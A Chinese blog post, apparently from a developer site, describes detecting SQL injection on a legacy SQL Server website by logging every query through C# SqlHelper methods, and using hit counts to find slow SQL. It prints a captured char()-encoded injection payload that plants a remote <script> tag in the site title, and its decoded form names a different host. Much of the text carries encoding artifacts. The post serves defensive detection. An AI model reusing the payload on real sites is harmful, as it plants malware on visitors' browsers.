記一次成功的sql注入入侵檢測附帶sql性能優(yōu)化
但是如果是讓你接手一個(gè)二等殘廢的網(wǎng)站,并讓你在上面改版,而且不能推翻式改版,只能逐步替換舊的程序,那么你會非常痛苦,例如我遇到的問題:
問題1.
老板對你說,以前剛做完網(wǎng)站好好了,沒有出現(xiàn)木馬,怎么你來了,就會出現(xiàn)木馬,先別說了,趕緊解決問題,我徹底無語,但是如果爭吵,其實(shí)證明你和老板一樣無知,拿出證據(jù)和事實(shí)分析來讓公司其他稍微懂技術(shù)的一起來證明,公司網(wǎng)站被掛馬不是你來了的錯(cuò)。
如是我通過網(wǎng)站目錄仔細(xì)排查將通過fck上傳的網(wǎng)馬刪除并修補(bǔ)fck的上傳漏洞并記下了這篇 Fckeditor使用筆記 ,其實(shí)很多人都遇到過,也解決過,都是小問題,但是讓你老板明白比解決漏洞問題更疼,我那解釋的叫一個(gè)汗啊,恨不得把公司所有稍微懂點(diǎn)技術(shù)的都叫上讓他們看什么是大馬什么是小馬,然后演示怎么上傳木馬,奶奶的,黑客教程普及啊。
問題2.
網(wǎng)站又出現(xiàn)問題,上次的問題解決了不過兩個(gè)月,網(wǎng)站又被入侵掛馬,如是老板這次再說因?yàn)槲襾砹瞬懦鰡栴},立馬走人,這就是為什么不能更不懂技術(shù)的人硬碰硬,更不能和你的老板來說,說了你又不懂。
但是要命的是網(wǎng)站是以前的技術(shù)開發(fā)的二等殘廢,在別個(gè)的cms上修改的,我必須保證網(wǎng)站在的開發(fā)的同時(shí)舊的模塊還可以使用,通過逐步更新的方法將網(wǎng)站底層翻新,但是那么多頁面,你很難一個(gè)一個(gè)去檢測那個(gè)頁面有漏洞,如是寫出下面的檢測代碼,沒想到這么簡單的就搞定了,并且可以通過此方法優(yōu)化你的sql。
第一步建立一個(gè)sql日志表
CREATE TABLE [dbo].[my_sqllog](
[id] [bigint] IDENTITY(1,1) NOT NULL,
[hit] [bigint] NULL,
[sqltext] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[paramdetails] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[begintime] [datetime] NULL,
[endtime] [datetime] NULL,
[fromurl] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
[ip] [varchar](20) COLLATE Chinese_PRC_CI_AS NULL,
[lastelapsedtime] [bigint] NULL,
CONSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED
(
[id] ASC
)WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY]
) ON [PRIMARY]
記錄sql語句、此sql語句被執(zhí)行次數(shù),參數(shù)及值,記錄開始時(shí)間,結(jié)束時(shí)間,來自哪個(gè)頁面,ip和此條語句執(zhí)行時(shí)間(暫時(shí)沒用)
第二步在sqlhelper里寫記錄代碼
兩個(gè)方法本來可以寫成private的,但是此二等殘廢的網(wǎng)站其他地方用的別的sqlhelper類,就直接調(diào)用此處通過合理優(yōu)化的sqlhelper類的方法了。
代碼1:插入日志
public static int ExecuteSqlLog(CommandType commandType, string commandText, params DbParameter[] cmdParams)
{
#region 參數(shù)處理
string colums = "";
string dbtypes = "";
string values = "";
string paramdetails = "";
if (cmdParams != null && cmdParams.Length > 0)
{
foreach (DbParameter param in cmdParams)
{
if (param == null)
{
continue;
}
colums += param.ParameterName + " ";
dbtypes += param.DbType + " ";
values += param.Value + ";";
}
paramdetails = string.Format(" {0},{1},{2}", colums, dbtypes, values);
}
string fromurl = "";
if (System.Web.HttpContext.Current!=null)
{
fromurl = System.Web.HttpContext.Current.Request.Url.ToString();
}
// commandText = commandText.Replace("'","‘").Replace(";",";");
SqlParameter[] parameters = new SqlParameter[]
{
new SqlParameter("@hit",1),
new SqlParameter("@sqltext",commandText),
new SqlParameter("@paramdetails",paramdetails),
new SqlParameter("@begintime",DateTime.Now),
new SqlParameter("@endtime",DateTime.Now),
new SqlParameter("@fromurl",fromurl),
new SqlParameter("@ip",Web.PressRequest.GetIP()),
new SqlParameter("@lastelapsedtime",0),
};
#endregion
using (DbConnection connection = Factory.CreateConnection())
{
connection.ConnectionString = GetRealConnectionString(commandText);//ConnectionString;
string sql = "";
// 執(zhí)行DbCommand命令,并返回結(jié)果.
int id =
Utils.TypeConverter.ObjectToInt(ExecuteScalarLog(CommandType.Text,
"select top 1 id from my_sqllog where sqltext=@sqltext",
new SqlParameter("@sqltext", commandText)));
if (id > 0)
{
sql = "update my_sqllog set hit=hit+1,ip=@ip,endtime=@endtime,fromurl=@fromurl where id=" + id;
}
else
{
sql = "insert into my_sqllog(hit,sqltext,paramdetails,begintime,endtime,fromurl,ip,lastelapsedtime) values(@hit,@sqltext,@paramdetails,@begintime,@endtime,@fromurl,@ip,@lastelapsedtime)";
}
// 創(chuàng)建DbCommand命令,并進(jìn)行預(yù)處理
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, sql, parameters, out mustCloseConnection);
// 執(zhí)行DbCommand命令,并返回結(jié)果.
int retval = cmd.ExecuteNonQuery();
// 清除參數(shù),以便再次使用.
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
}
代碼2:判斷此條sql是否存在
private static object ExecuteScalarLog( CommandType commandType, string commandText, params DbParameter[] commandParameters)
{
if (ConnectionString == null || ConnectionString.Length == 0) throw new ArgumentNullException("ConnectionString");
// 創(chuàng)建并打開數(shù)據(jù)庫連接對象,操作完成釋放對象.
using (DbConnection connection = Factory.CreateConnection())
{
if (connection == null) throw new ArgumentNullException("connection");
//connection.Close();
connection.ConnectionString = GetRealConnectionString(commandText);
connection.Open();
// 創(chuàng)建DbCommand命令,并進(jìn)行預(yù)處理
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);
// 執(zhí)行DbCommand命令,并返回結(jié)果.
object retval = cmd.ExecuteScalar();
// 清除參數(shù),以便再次使用.
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
}
第三部在你的每個(gè)執(zhí)行sql語句的方法里加入以下代碼,不管是ExecuteScalar、ExecuteReader還是ExecuteNonQuery等等都加上
//執(zhí)行sql之前進(jìn)行日志記錄操縱
int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);
代碼示例:
public static object ExecuteScalar(DbConnection connection, CommandType commandType, string commandText, params DbParameter[] commandParameters)
{
if (connection == null) throw new ArgumentNullException("connection");
//connection.Close();
connection.ConnectionString = GetRealConnectionString(commandText);
connection.Open();
// 創(chuàng)建DbCommand命令,并進(jìn)行預(yù)處理
DbCommand cmd = Factory.CreateCommand();
bool mustCloseConnection = false;
PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);
//執(zhí)行sql之前進(jìn)行日志記錄操縱
int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);
// 執(zhí)行DbCommand命令,并返回結(jié)果.
object retval = cmd.ExecuteScalar();
// 清除參數(shù),以便再次使用.
cmd.Parameters.Clear();
if (mustCloseConnection)
connection.Close();
return retval;
}
然后你會發(fā)現(xiàn)入侵的入口被記錄下來了,后面方框里的就是構(gòu)造注入的sql
構(gòu)造sql如下:
39191+update+my_websetting+set+websitetitle=REPLACE(cast(websitetitle+as+varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(100)+char(102)+char(114)+char(103)+char(99)+char(99)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--
轉(zhuǎn)碼后變成這樣了:
update my_websetting set websitetitle=REPLACE(cast(websitetitle as varchar(8000)),websitetitle+'</title><script src=http://jb51.net/ur.php></script>')
這個(gè)就是木馬地址,沒事你就別點(diǎn)了,好奇害死貓。
小結(jié):
既然知道入口就知道怎么補(bǔ)救了吧,把string類型該過濾的都過濾掉,int類型的就得是int類型,別讓數(shù)據(jù)庫替你隱式轉(zhuǎn)。通過此sql日志記錄,你應(yīng)該發(fā)現(xiàn)一點(diǎn)那個(gè)hit還是有點(diǎn)價(jià)值的。
通過select top 100 * from my_sqllog order by hit desc
你會發(fā)現(xiàn)你寫的那么多sql原來真垃圾,在條件允許的情況下干嘛不把它放到緩存里。所以后來我寫的sql基本不在這top 100里。
拋磚引玉,望高手批評,以上入侵方法希望剛學(xué)習(xí)做程序員的同學(xué)不要用來欺負(fù)小網(wǎng)站,傷不起。
作者:jqbird
相關(guān)文章
SQL?Server?字段設(shè)自增的實(shí)現(xiàn)流程
這篇文章主要介紹了SQL?Server?字段設(shè)自增的實(shí)現(xiàn)方法,在本文中,我將先向你展示整個(gè)實(shí)現(xiàn)的流程,然后逐步解釋每個(gè)步驟需要做什么,并提供相應(yīng)的代碼示例,需要的朋友可以參考下2023-12-12淺析SQL Server中的執(zhí)行計(jì)劃緩存(下)
這篇文章主要介紹了淺析SQL Server中的執(zhí)行計(jì)劃緩存(下)的相關(guān)資料,需要的朋友可以參考下2015-12-12sqlserver 高性能分頁實(shí)現(xiàn)分析
SQLServer中有一個(gè)Set Rowcount的的設(shè)置,它的意思是使命令的處理在響應(yīng)指定的行數(shù)之后停止處理命令,利用這個(gè)特點(diǎn),我們可以借用它來在一個(gè)千萬行級數(shù)據(jù)表中實(shí)現(xiàn)高性能分頁查詢。2011-04-04MSSql簡單查詢出數(shù)據(jù)表中所有重復(fù)數(shù)據(jù)的方法
這篇文章主要介紹了MSSql簡單查詢出數(shù)據(jù)表中所有重復(fù)數(shù)據(jù)的方法,涉及mssql復(fù)合查詢的相關(guān)操作技巧,需要的朋友可以參考下2016-08-08數(shù)據(jù)庫中的內(nèi)容字段被掛馬的替換方法 SQL注入
有時(shí)候有些數(shù)據(jù)庫被掛馬了,如果是sqlserver數(shù)據(jù)庫,就可以用下面的方法,不過,這樣的方法比較適合懂sqlserver的朋友,不過不懂的朋友也可以用,一些數(shù)據(jù)庫的在線管理程序替換。2009-08-08SQL 特殊狀態(tài)“未知“以及“空值NULL“的判斷
Null值是SQL中的一個(gè)特殊值,表示缺少值或未知值,還有未知(UNKNOWN),表示無法判斷出真或者假,本文主要介紹了SQL 特殊狀態(tài)“未知“以及“空值NULL“的判斷,感興趣的可以了解一下2023-11-11此數(shù)據(jù)庫沒有有效所有者,因此無法安裝數(shù)據(jù)庫關(guān)系圖支持對象
此數(shù)據(jù)庫沒有有效所有者,因此無法安裝數(shù)據(jù)庫關(guān)系圖支持對象。若要繼續(xù),請首先使用“數(shù)據(jù)庫屬性”對話框的“文件”頁或ALTER AUTHORIZATION語句將數(shù)據(jù)庫所有者設(shè)置為有效登錄名,然后再添加數(shù)據(jù)庫關(guān)系圖支持對象2012-01-01sqlserver循環(huán)刪除表中的數(shù)據(jù)最好方案
這篇文章主要介紹了sqlserver?中?循環(huán)刪除表中的數(shù)據(jù),這樣不會鎖表,導(dǎo)致業(yè)務(wù)出現(xiàn)問題,本文給大家分享最新解決方案,文中給大家補(bǔ)充介紹了foreach 循環(huán)中刪除一條數(shù)據(jù)_SQL Server中刪除重復(fù)數(shù)據(jù)的幾個(gè)方法,需要的朋友可以參考下2023-11-11在SQL Server中將數(shù)據(jù)導(dǎo)出為XML和Json的方法
這篇文章主要介紹了在SQL Server中將數(shù)據(jù)導(dǎo)出為XML和Json的方法,需要的朋友可以參考下2015-02-02